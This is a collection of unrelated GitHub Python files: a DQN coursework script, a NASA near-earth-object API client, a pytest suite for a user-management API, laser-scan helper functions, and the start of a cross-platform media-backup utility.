int(round(sy))\n # assert round(states_vector[sx], 3) == round(state[0], 3), \"Getting wrong states\"\n return [int(sx), int(sy)]\n\n # Function to reset the environment, and set the agent to its initial state. This should be done at the start of every episode.\n def reset(self):\n # Reset the environment for the start of the new episode, and set the agent's state to the initial state as defined by the environment.\n self.state = self.environment.reset()\n # Set the agent's total reward for this episode to zero.\n self.total_reward = 0.0\n\n # Function to make the agent take one step in the environment.\n def step(self, q_network=None, action=None):\n # Choose the next action.\n if action:\n discrete_action = action\n else:\n discrete_action = self._choose_next_action(q_network)\n # Convert the discrete action into a continuous action.\n continuous_action = self._discrete_action_to_continuous(discrete_action)\n # Take one step in the environment, using this continuous action, based on the agent's current state. This returns the next state, and the new distance to the goal from this new state. It also draws the environment, if display=True was set when creating the environment object..\n next_state, distance_to_goal = self.environment.step(self.state, continuous_action)\n # Compute the reward for this paction.\n reward = self._compute_reward(distance_to_goal)\n # Create a transition tuple for this step.\n transition = (self.state, discrete_action, reward, next_state)\n # Set the agent's state for the next step, as the next state from this step\n self.state = next_state\n # Update the agent's reward for this episode\n self.total_reward += reward\n # Return the transition\n return transition\n\n # Function for the agent to choose its next action\n def _choose_next_action(self, q_network=None):\n # Choose the intended action\n rand = np.random.rand()\n if self.use_rand_actions or (q_network is None) or (rand < self.epsilon):\n # Random is no Q given\n action = np.random.randint(0, self.action_size)\n else:\n # sx, sy = self.get_state_as_idx(self.state)\n # If all Qs are the same\n predicted_rewards = q_network.forward(torch.tensor(self.state))\n action = np.argmax(predicted_rewards.detach().numpy())\n # if np.all(q_values[sx, sy, :] == q_values[sx, sy, 0]):\n # action = np.random.randint(0, self.action_size)\n # else:\n # action = np.argmax(q_values[sx, sy, :], axis=-1)\n return action\n\n # Function to convert discrete action (as used by a DQN) to a continuous action (as used by the environment).\n def _discrete_action_to_continuous(self, discrete_action):\n if discrete_action == 0:\n # Move 0.1 to the right, and 0 upwards\n continuous_action = np.array([self.action_length, 0], dtype=np.float32)\n if discrete_action == 1:\n # Move 0.1 to the left, and 0 upwards\n continuous_action = np.array([-self.action_length, 0], dtype=np.float32)\n if discrete_action == 2:\n # Move 0.1 to the up\n continuous_action = np.array([0, self.action_length], dtype=np.float32)\n if discrete_action == 3:\n # Move 0.1 to the down\n continuous_action = np.array([0, -self.action_length], dtype=np.float32)\n return continuous_action\n\n # Function for the agent to compute its reward. In this example, the reward is based on the agent's distance to the goal after the agent takes an action.\n def _compute_reward(self, distance_to_goal):\n reward = float(0.1*(1 - distance_to_goal))\n return reward\n\n\n# The Network class inherits the torch.nn.Module class, which represents a neural network.\nclass Network(torch.nn.Module):\n\n # The class initialisation function. This takes as arguments the dimension of the network's input (i.e. the dimension of the state), and the dimension of the network's output (i.e. the dimension of the action).\n def __init__(self, input_dimension, output_dimension):\n # Call the initialisation function of the parent class.\n super(Network, self).__init__()\n # Define the network layers. This example network has two hidden layers, each with 100 units.\n self.layer_1 = torch.nn.Linear(in_features=input_dimension, out_features=100)\n self.layer_2 = torch.nn.Linear(in_features=100, out_features=100)\n self.output_layer = torch.nn.Linear(in_features=100, out_features=output_dimension)\n\n # Function which sends some input data through the network and returns the network's output. In this example, a ReLU activation function is used for both hidden layers, but the output layer has no activation function (it is just a linear layer).\n def forward(self, input):\n layer_1_output = torch.nn.functional.relu(self.layer_1(input))\n layer_2_output = torch.nn.functional.relu(self.layer_2(layer_1_output))\n output = self.output_layer(layer_2_output)\n return output\n\n\n# The DQN class determines how to train the above neural network.\nclass DQN:\n\n # The class initialisation function.\n def __init__(self, agent, epsilon=0.01, use_bellman_loss=True, use_target=False, world_length=1.0, lr=0.001, discount=0.9, use_online_learning=False, prioritise_buffer=True, ):\n # Create a Q-network, which predicts the q-value for a particular state.\n # NOTE: Previously I changed input dimension from default 2 to 3, and output dimension from 4 to 1 -> changed back\n self.q_network = Network(input_dimension=2, output_dimension=4)\n if use_target:\n self.t_network = Network(input_dimension=2, output_dimension=4)\n # Define the optimiser which is used when updating the Q-network. The learning rate determines how big each gradient step is during backpropagation.\n self.optimiser = torch.optim.Adam(self.q_network.parameters(), lr=lr)\n # Create replay buffer\n self.Buffer = ReplayBuffer(use_online_learning, prioritise_buffer)\n self.use_bellman_loss = use_bellman_loss\n self.use_target = use_target\n\n # HPs\n self.loss_criterion = torch.nn.MSELoss()\n self.discount = discount\n self.epsilon = epsilon\n\n # World\n self.world_length = world_length \n self.agent = agent\n self.states_vector = np.array(np.arange(0, self.world_length, self.agent.action_length), dtype=np.float32) + (self.agent.action_length / 2)\n\n # Collect along the way\n self.q_values = self.init_q_values()\n self.optimal_network = None\n\n def init_q_values(self):\n num_states = int(self.world_length / self.agent.action_length)\n q_values = np.zeros((num_states, num_states, self.agent.action_size))\n return q_values\n\n def update_q_values(self, states=None, prediction=None):\n # for i, state in enumerate(states):\n # if self.Buffer.use_online_learning:\n # state = states\n # sx, sy = self.agent.get_state_as_idx(state)\n # self.q_values[sx, sy, :] = prediction[i].detach().numpy()\n\n for i, sx in enumerate(self.states_vector):\n for j, sy in enumerate(self.states_vector):\n state = torch.tensor([sx, sy]).type(torch.float32)\n pred = self.q_network.forward(state)\n self.q_values[i, j, :] = pred.detach().numpy()\n\n def final_q_value_update(self):\n # Convert NaN's to zero\n self.q_values[np.isnan(self.q_values)] = 0\n \n def get_e_greedy_policy(self):\n # Return epsilon-greedy policy\n num_states = int(self.world_length / self.agent.action_length)\n policy = np.zeros((num_states, num_states, self.agent.action_size))\n\n optimal_value = 1 - self.epsilon + (self.epsilon/self.agent.action_size)\n suboptimal_value = self.epsilon / self.agent.action_size\n for sx in range(num_states):\n for sy in range(num_states):\n # If this state has the same Q for each action, don't update policy TODO: ASSUMPTION\n if np.all(self.q_values[sx, sy, :] == self.q_values[sx, sy, 0]):\n policy[sx, sy, :] = 1 / self.agent.action_size\n continue\n\n a_optimal = np.argmax(self.q_values[sx, sy, :], axis=-1) # One optimal action\n # a_optimal = np.where(Q[state, :] == np.max(Q[state, :])) # Multiple optimal actionss\n # if type(a_optimal) == tuple:\n # a_optimal = a_optimal[0]\n\n for a in range(self.agent.action_size):\n if a == a_optimal:\n policy[sx, sy, a] = optimal_value\n else:\n policy[sx, sy, a] = suboptimal_value\n return policy\n\n def update_t_network(self):\n q_weights = self.q_network.state_dict()\n self.t_network.load_state_dict(q_weights)\n\n # Function that is called whenever we want to train the Q-network. Each call to this function takes in a transition tuple containing the data we use to update the Q-network.\n def train_q_network(self, data):\n # Set all the gradients stored in the optimiser to zero.\n self.optimiser.zero_grad()\n # Calculate the loss for this transition. NOTE: added helper outputs for Q value\n loss = self._calculate_loss(data)\n # self.update_q_values(state, prediction_state)\n # Compute the gradients based on this loss, i.e. the gradients of the loss with respect to the Q-network parameters.\n loss.backward()\n # Take one gradient step to update the Q-network.\n self.optimiser.step()\n # Return the loss as a scalar\n return loss.item()\n\n # Function to calculate the loss for a particular transition.\n def _calculate_loss(self, mini_batch):\n # Input: S, A\n state, action, reward, next_state = mini_batch\n reward = torch.tensor(reward).type(torch.float32)\n\n # Convert the NumPy array into a Torch tensor\n state_tensor = torch.tensor(state)\n next_state_tensor = torch.tensor(next_state)\n\n # Do a forward pass of the network using the inputs batch\n # Predict S\n prediction = self.q_network.forward(state_tensor)\n # Predict S'\n if use_target:\n prediction_next = self.t_network.forward(next_state_tensor).detach()\n else:\n prediction_next = self.q_network.forward(next_state_tensor).detach()\n \n # State Q(S,A)\n action = torch.tensor(np.array(action))\n # Next state Q(S',A)\n max_actions = torch.argmax(prediction_next, axis=-1)\n if self.Buffer.use_online_learning:\n prediction_A = prediction[int(action)]\n prediction_next_A = prediction_next.max()\n else:\n action = action.reshape(-1,1)\n reward = reward.reshape(-1,1) # For making dimensions same\n prediction_A = torch.gather(prediction, -1, action)\n \n max_actions = max_actions.reshape(-1,1)\n # prediction_next_A = torch.gather(prediction_next, 1, max_actions).detach()\n prediction_next_A = prediction_next.max(1)[0].detach().numpy()\n\n # Bellman\n # --> R_Q = R + γ * max_a [ Q(S', a) ]\n prediction_reward = reward.reshape(1,-1) + self.discount * prediction_next_A\n # prediction_reward = torch.tensor(prediction_reward).type(torch.float32)\n\n if self.use_bellman_loss:\n # NOTE: Bellman\n # --> θ = θ - α * (1/N) * sum[ R_Q - Q(S, A) ]^2\n loss = self.loss_criterion(torch.squeeze(prediction_reward), torch.squeeze(prediction_A))\n # loss = torch.sum((prediction_A - prediction_reward) ** 2)\n else:\n # NOTE: Part 1: Predicting immediate reward\n loss = self.loss_criterion(reward, prediction_A)\n return loss\n\n\n# Main entry point\nif __name__ == \"__main__\":\n # TODO general:\n # decay eps\n # e greedy: choose action based on policy\n\n # Hyperparameters\n magnification = 500\n use_online_learning = False\n mini_batch_size = 1 if use_online_learning else 100\n epsilon = 1\n min_eps = 0.1\n eps_dec_factor = 0.995\n lr = 0.0003\n discount = 0.9\n decay_epsilon = True\n use_bellman_loss = True\n use_rand_actions = False\n use_target = False\n \n visualise_last = True\n total_iters = 600\n total_steps = 90\n N_update_target = 10\n\n # Q 1.1 and 1.2:\n # 1.1a)\n # use_rand_actions, use_online_learning, total_iters, use_target, lr, use_bellman_loss, text_q = (True, True, 100, False, 0.001, False, 'q11a')\n # 1.1b)\n # use_rand_actions, use_online_learning, total_iters, use_target, lr, use_bellman_loss, text_q = (True, False, 100, False, 0.001, False, 'q11b')\n\n # # Q 1.3:\n # # 1.3a) \n # use_rand_actions, use_online_learning, total_iters, use_target, lr, N_update_target, use_bellman_loss, epsilon, text_q = (True, False, 100, False, 0.0001, 10, True, 0, 'q13a')\n # # 1.3b)\n use_rand_actions, use_online_learning, total_iters, use_target, lr, N_update_target, use_bellman_loss, epsilon, text_q = (True, False, 100, True, 0.00005, 10, True, 0, 'q13b')\n\n # # Q 1.4\n # use_rand_actions, use_online_learning, total_iters, use_target, lr, N_update_target, use_bellman_loss, epsilon, text_q = (False, False, 600, True, 0.002, 10, True, 1, 'q14')\n \n mini_batch_size = 1 if use_online_learning else 100\n text_target = 'tnet' if use_target else 'qnet'\n text_loss_type = 'bllmn' if use_bellman_loss else 'immdrew'\n \n np.random.seed(0)\n torch.manual_seed(6)\n torch.set_default_dtype(torch.float32)\n\n # Create an environment.\n # If display is True, then the environment will be displayed after every agent step. This can be set to False to speed up training time. The evaluation in part 2 of the coursework will be done based on the time with display=False.\n # Magnification determines how big the window will be when displaying the environment on your monitor. For desktop monitors, a value of 1000 should be about right. For laptops, a value of 500 should be about right. Note that this value does not affect the underlying state space or the learning, just the visualisation of the environment.\n environment = Environment(display=False, magnification=500)\n # Create an agent\n agent = Agent(environment, epsilon, use_rand_actions)\n # Create a DQN (Deep Q-Network)\n dqn = DQN(agent, epsilon, use_bellman_loss, use_target, lr=lr, discount=discount, use_online_learning=use_online_learning)\n \n # Create lists to store the losses and epochs\n losses = []\n iterations = []\n biggest_reward = 0\n fig_buff, ax_buff = plt.subplots()\n \n loss = None\n # Loop over episodes\n for training_iteration in range(total_iters):\n # print(\"Current epsilon = {}\".format(dqn.epsilon))\n\n # Reset the environment for the start of the episode.\n agent.reset()\n # Loop over steps within this episode. The episode length here is 20.\n for step_num in range(total_steps):\n # Step the agent once, and get the transition tuple for this step\n transition = agent.step(dqn.q_network)\n dqn.Buffer.append(transition)\n if len(dqn.Buffer.buffer) < mini_batch_size: # just for beginning\n continue\n mini_batch = dqn.Buffer.sample(sample_size=mini_batch_size)\n\n # buffer_indices = np.ones(len(mini_batch)) * training_iteration\n # ax_buff.plot(buffer_indices, dqn.Buffer.indices_used[-1])\n \n # NOTE: TEST\n if use_online_learning:\n assert transition[0].all() == mini_batch[0].all(), \"Sampling wrong\"\n\n loss = dqn.train_q_network(mini_batch)\n # Sleep, so that you can observe the agent moving. Note: this line should be removed when you want to speed up training\n # time.sleep(0.2)\n\n # Update epsilon\n if decay_epsilon: # and ((training_iteration / total_iters) < 0.1):\n # dqn.epsilon = np.max((min_eps, dqn.epsilon-(1-eps_dec_factor)))\n dqn.epsilon = dqn.epsilon * eps_dec_factor\n agent.epsilon = dqn.epsilon\n\n # Save if goal was reached or max reward\n if (agent.total_reward > biggest_reward) or np.all(environment.goal_state == transition[0]):\n biggest_reward = np.max((agent.total_reward, biggest_reward))\n dqn.optimal_network = dqn.q_network\n print('Bigger reward or goal reached')\n\n # Update Target\n if use_target and (training_iteration % N_update_target == 0):\n dqn.update_t_network()\n\n # Get the loss as a scalar value\n print('Iteration ' + str(training_iteration) + ', Loss = ' + str(loss))\n # Store this loss in the list\n losses.append(loss)\n iterations.append(training_iteration)\n \n # Visualise Q values\n # dqn.final_q_value_update()\n visualiser = QValueVisualiser(environment=environment, magnification=magnification)\n dqn.update_q_values()\n q_filename = \"{}_q_values_image_batch{}_lr{}_eps{}_steps{}_{}_{}.png\".format(text_q, mini_batch_size, lr, epsilon, total_iters, text_loss_type, text_target)\n visualiser.draw_q_values(dqn.q_values, q_filename)\n\n # Draw optimal GREEDY policy\n # policy = np.argmax(dqn.q_values, axis=-1)\n optimal_trace = []\n agent.reset()\n dqn.epsilon = 0\n for step_num in range(20):\n # Step the agent once, and get the transition tuple for this step\n if not(visualise_last) and dqn.optimal_network:\n transition = agent.step(dqn.optimal_network)\n else:\n transition = agent.step(dqn.q_network) \n optimal_trace.append(transition)\n opt_filename = \"{}_optimal_policy_path_batch{}_lr{}_eps{}_steps{}_{}_{}.png\".format(text_q, mini_batch_size, lr, epsilon, total_iters, text_loss_type, text_target)\n environment.draw(agent_state=environment.init_state, optimal_trace=optimal_trace, opt_filename=opt_filename)\n\n # Plot and save the loss vs iterations graph\n fig, ax = plt.subplots()\n text_eps = 'Epsilon decaying' if decay_epsilon else ''\n losses = [i if i is not None else 0 for i in losses] # Remove 'None's\n variance = np.std(losses)\n ax.set(xlabel='Iteration', ylabel='Loss', title=('Loss Curve, Batch_size={} '+text_eps).format(mini_batch_size))\n ax.plot(iterations, losses, color='blue')\n plt.text(0.7*np.max(iterations), 0.6*np.max(losses), 'std={:e}'.format(variance))\n plt.yscale('log')\n # plt.show()\n fig.savefig(\"{}_loss_vs_iterations_batch{}_lr{}_eps{}_steps{}_{}_{}.png\".format(text_q, mini_batch_size, lr, epsilon, total_iters, text_loss_type, text_target))\n\n # fig, ax = plt.subplots()\n # if not(use_online_learning):\n # for i in iterations:\n # for s in range(total_steps)\n # # buffer_indices.append(list(zip((np.ones(len(dqn.Buffer.indices_used[i])) * i), dqn.Buffer.indices_used[i])))\n # buffer_indices = np.ones(len(mini_batch)) * training_iteration\n # ax.plot(buffer_indices, dqn.Buffer.indices_used[i])\n # ax.set(xlabel='Iteration', ylabel='Buffer index', title=('Buffer indices sampled, Batch_size={} '+text_eps).format(mini_batch_size))\n # fig.savefig(\"loss_vs_iterations_batch{}_lr{}_eps{}_steps{}.png\".format(mini_batch_size, lr, epsilon, total_iters))\n\n # Save Numpy \n np.save('{}_losses_{}_batch{}_lr{}_eps{}_steps{}.npy'.format(text_q, text_loss_type, mini_batch_size, lr, epsilon, total_iters), losses)\n\n print((\"File saved as \" + \"loss_vs_iterations_{}_batch{}_lr{}_eps{}_steps{}.png\".format(text_loss_type, mini_batch_size, lr, epsilon, total_iters)))\n","repo_name":"olive004/Y4_RL","sub_path":"DQN_Tutorial/starter_code.py","file_name":"starter_code.py","file_ext":"py","file_size_in_byte":23108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26061134746","text":"import datetime\n\nfrom utils.coordinates import Coordinates\nfrom utils.null_object import Null\n\n\nclass Video:\n NULL = Null()\n\n def __init__(self, id, g_path, public_url, analysis_url, file_public, file_status, user_id, place_id, title,\n description, username, creation_date, latitude, longitude, positive_votes, negative_votes, reports):\n self.id = id\n self.g_path = g_path\n self.public_url = public_url\n self.file_public = file_public\n self.analysis_url = analysis_url\n self.file_status = file_status\n self.user_id = user_id\n self.place_id = place_id\n self.title = title\n self.description = description\n self.username = username\n self.creation_date: datetime = creation_date\n self.coordinates = Coordinates(latitude, longitude)\n self.positive_votes = positive_votes\n self.negative_votes = negative_votes\n self.reports = reports\n","repo_name":"HOP-Ubiquitous/walk-a-story-backend","sub_path":"video_catalog/entities/video.py","file_name":"video.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15378746621","text":"import retornos_simples as rs\nimport pandas as pd\nimport argparse\n\ndef main(filepath, output_csv_name):\n index_df = pd.read_excel(filepath, parse_dates=['Dates'], index_col=0)\n index_df = rs.compute_end_of_month_returns(index_df)\n index_df.to_csv(output_csv_name + '.csv', index=True)\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Transform daily anual rates to monthly rates')\n parser.add_argument('--prices', help='the path to the excel file with the rates')\n parser.add_argument('--output', help='the path to the excel file with the rates')\n args = parser.parse_args()\n main(args.prices, args.output)","repo_name":"laygr/The-Long-Horizon-Portfolios","sub_path":"dbs_construction/build_index.py","file_name":"build_index.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"43737904669","text":"#!/usr/bin/env python3\n# nasa02.py\n# Micah Raabe\n\n# Lab 54 - Interaction with API's - NASA 02\n\nimport urllib.request\nimport json\nimport webbrowser\n\ndef moon_len(missdistance):\n return float(missdistance) / 238900\n\ndef tracked_neo(decoded_neo):\n return decoded_neo['element_count']\n\nstart = str(input('Enter the start date (YYYY-MM-DD) : '))\n\n## Define APOD\nneourl = 'https://api.nasa.gov/neo/rest/v1/feed?'\nstartdate = 'start_date=' + start\nenddate = '&end_date=END_DATE'\nmykey = '&api_key=oitOi7PWVAC5KvsR6mVbxTtQkgbTQx2tbDlkARYH' ## your key goes in place of DEMO_KEY\n\nneourl = neourl + startdate + mykey\n\n## Call the webservice\nneourlobj = urllib.request.urlopen(neourl)\n\n## read the file-like object\nneoread = neourlobj.read()\n\n## decode json to python data structure\ndecodeneo = json.loads(neoread.decode('utf-8'))\n\n## display our pythonic data\n#print(\"\\n\\nConverted python data\")\n#print(decodeneo)\n\nprint('\\nTotal number of tracked NEO\\'s = ' + str(tracked_neo(decodeneo)))\nclosest_neo = 93000000 # initialize variable for the closest distance of a neo (initial value set at 1 AU, or the distance from the earth to the sun)\nclosest_neoname = '' # initialize variable for the name of the closest neo\n\nfor neodate in decodeneo['near_earth_objects']: # loop through the dates\n x = 0 # initialize/set variable for the while loop to iteriate through the list\n while x < decodeneo['near_earth_objects'][neodate].__len__(): # loop through range of list\n print('Name = ' + decodeneo['near_earth_objects'][neodate][x]['name'], end='')\n print(' Miles = ' + decodeneo['near_earth_objects'][neodate][x]['close_approach_data'][0]['miss_distance']['miles'], end='')\n print(' Moon Lengths = ' + str(round(moon_len(decodeneo['near_earth_objects'][neodate][x]['close_approach_data'][0]['miss_distance']['miles']), 2)))\n\n ## check for and determine the closest neo\n if float(decodeneo['near_earth_objects'][neodate][x]['close_approach_data'][0]['miss_distance']['miles']) < float(closest_neo):\n closest_neo = decodeneo['near_earth_objects'][neodate][x]['close_approach_data'][0]['miss_distance']['miles']\n closest_neoname = decodeneo['near_earth_objects'][neodate][x]['name']\n \n x = x + 1 # add 1 to the while loop variable to continue to iteriate through the list\n\nprint('\\nClosest NEO to Earth = ' + closest_neoname)\nprint(' With a distance of ' + str(closest_neo) + ' miles and ' + str(round(moon_len(closest_neo), 2)) + ' moon lengths')\n","repo_name":"gmraabe/mycode","sub_path":"nasa02/nasa02.py","file_name":"nasa02.py","file_ext":"py","file_size_in_byte":2530,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"21"} +{"seq_id":"39396688692","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport numpy as np\n\n\ndef find_closest(array, target):\n # Finds index of the closest number in 'array' to 'target'\n idx = array.searchsorted(target)\n idx = np.clip(idx, 1, len(array) - 1)\n left = array[idx - 1]\n right = array[idx]\n idx -= target - left < right - target\n return idx\n\n\ndef rotate(points, delta):\n # Rotates scans for 'angle'\n if delta == 0:\n return points\n temp = []\n for (index, laser_range, angle, x, y) in points:\n temp.append((index, laser_range, wrap_to_pi(angle+delta), x, y))\n return temp\n\n\ndef translate(points, x_delta, y_delta):\n # Translates every point in 'points' for 'x_delta' and 'y_delta'\n if x_delta == 0 and y_delta == 0:\n return points\n temp = []\n for index, laser_range, angle, x, y in points:\n temp.append((index, laser_range, angle, x+x_delta, y+y_delta))\n return temp\n\n\ndef calculate_relative_angles(points):\n # Returns relative angles between two subsequent points\n temp = []\n (index1, angle1, prev_range, x1, y1) = points[0]\n for index2, angle2, next_range, x2, y2 in points[1:]:\n alpha = np.arctan((y2-y1) / (x2-x1))\n temp.append((alpha, index1, prev_range, index2, next_range))\n angle1, x1, y1, index1, prev_range = angle2, x2, y2, index2, next_range\n return temp\n\n\ndef wrap_to_pi(angle):\n # Wraps angle between -pi and pi\n return -1.0 * ((-angle + np.pi) % (2.0 * np.pi) - np.pi)\n\n\ndef init_distances(distance_step, range_max):\n part1 = np.arange(0, range_max, distance_step)\n part2 = np.arange(-range_max, 0, distance_step)\n return np.concatenate([part2, part1])\n\n\ndef cross_correlation(array_1, array_2, cc_type=\"regular\"):\n # Returns result of regular cross-correlation or normalized\n # cross-correlation depending on 'type' variable\n if cc_type == \"regular\":\n return np.correlate(array_1, array_2, \"same\")\n elif cc_type == \"normalized\":\n a = (array_1 - np.mean(array_1)) / (np.std(array_1) * len(array_1))\n v = (array_2 - np.mean(array_2)) / np.std(array_2)\n return np.correlate(a, v, \"same\")\n else:\n raise AttributeError(\"Wrong type of cross correlation.\")\n\n\ndef filescanwriter(writer, data, timestamp):\n d = []\n d.append(timestamp)\n for (_,angle,laser_range,_,_) in data:\n d.append(angle)\n d.append(laser_range)\n writer.writerow(d)\n\n\ndef fileodomwriter(writer,data):\n writer.writerow(data)","repo_name":"mvukic/bachelor_project_2017","sub_path":"scripts/HelperMethods.py","file_name":"HelperMethods.py","file_ext":"py","file_size_in_byte":2493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19248827927","text":"def fenduan(x):\n if(x<=-2):\n x=-2*x-1\n elif(x>1):\n x=x*2+1\n else:\n x=3\n return x\n\ntry:\n x=float(input())\nexcept ValueError:\n print(\"Input Error\")\n exit()\ny=fenduan(x)\nprint(\"y=%.2f\" %(y))\n\n","repo_name":"SSTinYukk/Learn","sub_path":"Python/7-2 jmu-分段函数l.py","file_name":"7-2 jmu-分段函数l.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34026402112","text":"# – coding: utf-8 --\n\n\"\"\"\n@Time : 2022/6/21 14:43\n@Author : sunny cao\n@File : test_query_nickname.py\n\"\"\"\nfrom common.handle_log import logger\nimport allure\n\n\n@allure.epic(\"项目名称:Jugo接口自动化测试项目\")\n@allure.feature(\"模块名称:用户管理\")\n@allure.story(\"查询所有用户昵称\")\nclass TestQueryNickname(object):\n\n @allure.title(\"未登录状态,查询所有用户昵称\")\n @allure.description(\"未登录状态,查询所有用户昵称\")\n @allure.severity(allure.severity_level.MINOR)\n def test_query_nickname_without_login(self, get_token, get_base_info):\n base_url, request = get_base_info\n url = base_url + \"/user/queryAllUserNickname\"\n headers = {'Content-Type': 'application/json'}\n res = request.handle_request(url=url, method=\"get\", headers=headers)\n logger.info(\"接口响应结果:{}\".format(res.json()))\n assert res.json()[\"code\"] == 20006\n assert res.json()[\"msg\"] == \"用户未登录\"\n\n @allure.title(\"登录状态,查询所有用户昵称\")\n @allure.description(\"登录状态,查询所有用户昵称\")\n def test_query_nickname_success(self, get_token, get_base_info, handle_mysql):\n base_url, request = get_base_info\n access_token = get_token[\"data\"][\"token\"]\n url = base_url + \"/user/queryAllUserNickname\"\n headers = {'Content-Type': 'application/json', 'Access-Token': access_token}\n res = request.handle_request(url=url, method=\"get\", headers=headers)\n logger.info(\"接口响应结果:{}\".format(res.json()))\n assert res.json()[\"code\"] == 10000\n assert res.json()[\"msg\"] == \"成功\"\n sql = \"SELECT user_id,user_name from t_user where status=%s\"\n result = handle_mysql.query_data(sql=sql, param=[1])\n if res.json()[\"msg\"] == \"成功\":\n assert len(res.json()[\"data\"]) == len(result)\n\n\n\n","repo_name":"Sunnycao01/automation_test","sub_path":"test_case/api/user_management/test_query_nickname.py","file_name":"test_query_nickname.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71719154294","text":"from util.general import str_build_helper,log_and_print\nimport os\nimport sys\n\n# python version specific attributes\n# 2.7 support\nif sys.version_info[0] == 2:\n\tuser_input=raw_input\n# 3+ support \nif sys.version_info[0] >=3:\n\tuser_input=input\n# end python specific attributes\n\ndef get_current_user_windows():\n\treturn os.popen('echo %USERNAME%').read().replace(\"\\n\",\"\")\n\n# Method used for managing array of source directories \ndef manage_source_directories(conf,Log):\n\tsource_dir_action=\"\"\n\twhile source_dir_action.upper() != \"Q\":\n\t\tsource_dir_action=user_input(\"Current directories to iterate( \" + str(conf['directories']['home_dir']) + \") \\nWould you like to remove a directory (R), add a directory (A), or Quit(Q):\" )\n\n\t\tif source_dir_action.upper() == \"R\":\n\t\t\tindex_to_remove=-1\n\t\t\ti=0\n\t\t\toutput_builder=\"Current Directories:\\n\"\n\t\t\twhile i < len(conf['directories']['home_dir']):\n\t\t\t\toutput_builder+=(\"[\" + str(i) + \"]\" + conf['directories']['home_dir'][i] + \"\\n\")\n\t\t\t\ti+=1\n\t\t\toutput_builder+=\"Please specify an index to remove from the list:\"\n\t\t\tindex_to_remove=user_input(output_builder)\n\n\t\t\tif int(index_to_remove) < 0 or int(index_to_remove) >= len(conf['directories']['home_dir']):\n\t\t\t\tprint(\"index out of range!\")\n\t\t\telse:\n\t\t\t\tconf['directories']['home_dir'].pop(int(index_to_remove))\n\n\t\telif source_dir_action.upper() == \"A\":\n\t\t\tdirectory_to_add=user_input(\"Provide a VALID directory to add:\")\n\n\t\t\tif os.path.isdir(directory_to_add):\n\t\t\t\tconf['directories']['home_dir'].append(directory_to_add)\n\t\t\telse:\n\t\t\t\tprint(\"invalid directory provided!\")\n\t\telif source_dir_action.upper() == \"Q\":\n\t\t\tif len(conf['directories']['home_dir']) < 1:\n\t\t\t\tprint(\"Cant quit unless you have at least one directory to loop through!\")\n\t\t\t\tsource_dir_action=\"N/A\"\n\t\t\telse:\n\t\t\t\treturn\n\t\telse:\n\t\t\tprint(\"invalid input provided!\")\n\ndef SETUP_WINDOWS_ENV(conf,Log):\n\tlog_and_print(Log,\"PREPPING FOR WINDOWS ENVIRONMENT\")\n\n\tconf['directories']['home_dir'].append(str_build_helper([\"C:\\\\Users\\\\\",get_current_user_windows()]))\n\n\toverride_homedir=user_input(\"This is the current directory to be copied : \" + str(conf['directories']['home_dir'] ) + \". Would you like to override this(You may add or remove more directories to loop through)?[Y/N]\")\n\n\tif override_homedir == 'Y' or override_homedir == 'y':\n\t\tmanage_source_directories(conf,Log)\n\n\tlog_and_print(Log,\"directories :: \" + str(conf['directories']['home_dir'] ))\n\n\t# Change dir to home dir\n\t# os.chdir(str_build_helper([ conf['directories']['home_dir']]))\n\n\tlog_and_print(Log,str_build_helper([\"Current Directory : \", os.getcwd()]))\n\n\tconf['os_cmds']['get_memory_cmd']=\"powershell \\\"\" + conf['directories']['original_script_directory'] + \"/util/win/get_drive_memory.ps1\\\" -drive \\\"\" + conf['directories']['destination_dir'].split(\":\")[0] + \"\\\"\"\n\n\tconf['os_cmds']['os_directory_slash']=\"\\\\\"\n# SUM OF MEMORY : powershell for windows (Get-ChildItem -Recurse | Measure-Object -Sum Length).sum\n\n\ndef SETUP_MAC_ENV(conf, Log):\n\tfrom os.path import expanduser\n\tlog_and_print(Log,\"PREPPING FOR MAC ENVIRONMENT\")\n\n\tconf['directories']['home_dir']=expanduser(\"~\")\n\n\toverride_homedir=user_input(\"This is the current directory to be copied : \" + str(conf['directories']['home_dir'] ) + \". Would you like to override this(You may add or remove more directories to loop through)?[Y/N]\")\n\n\tif override_homedir == 'Y' or override_homedir == 'y':\n\t\tmanage_source_directories(conf,Log)\n\n\tlog_and_print(Log,\"directories :: \" + str(conf['directories']['home_dir'] ))\n\n\t# Change dir to home dir\n\t# os.chdir(str_build_helper([ conf['directories']['home_dir']]))\n\n\tlog_and_print(Log,str_build_helper([\"Current Directory : \", os.getcwd()]))\n\n\tconf['os_cmds']['get_memory_cmd']=\"du -s \" + conf['directories']['home_dir']\n\tconf['os_cmds']['os_directory_slash']=\"/\"\n\n\ndef SETUP_ENV(conf,Log, env):\n\tif env.upper() == 'M':\n\t\tSETUP_MAC_ENV(conf, Log)\n\telif env.upper() == 'W':\n\t\tSETUP_WINDOWS_ENV(conf,Log)\n\telse:\n\t\traise Exception(\"Invalid environment provided\")\n\ndef cmd_input(conf):\n\tprint(\"## Welcome to the python media copy program ##\")\n\tprint(\"## This program will copy over specified contents of a computer, to a target external drive ##\")\n\tprint(\"## Current files to copy : \" + str(conf[\"general\"][\"media_types\"]))\n\tprint(\"## Destination directory : \" + conf[\"directories\"][\"destination_dir\"])\n\n\toverride_destination=user_input(\"Would you like to override the destination directory?[Y/N]:\")\n\tif override_destination.upper() == 'Y':\n\t\tconf['directories']['destination_dir']=user_input(\"Please provide a new destintion:\")\n\toverride_media_types=user_input(\"Would you like to override media types?[Y/N]:\")\n\n\tif override_media_types.upper() == 'Y':\n\t\tnew_media_types=user_input(\"Please provide a comma seperated list of media extensions to look through(EX: .mp3, .jpg, 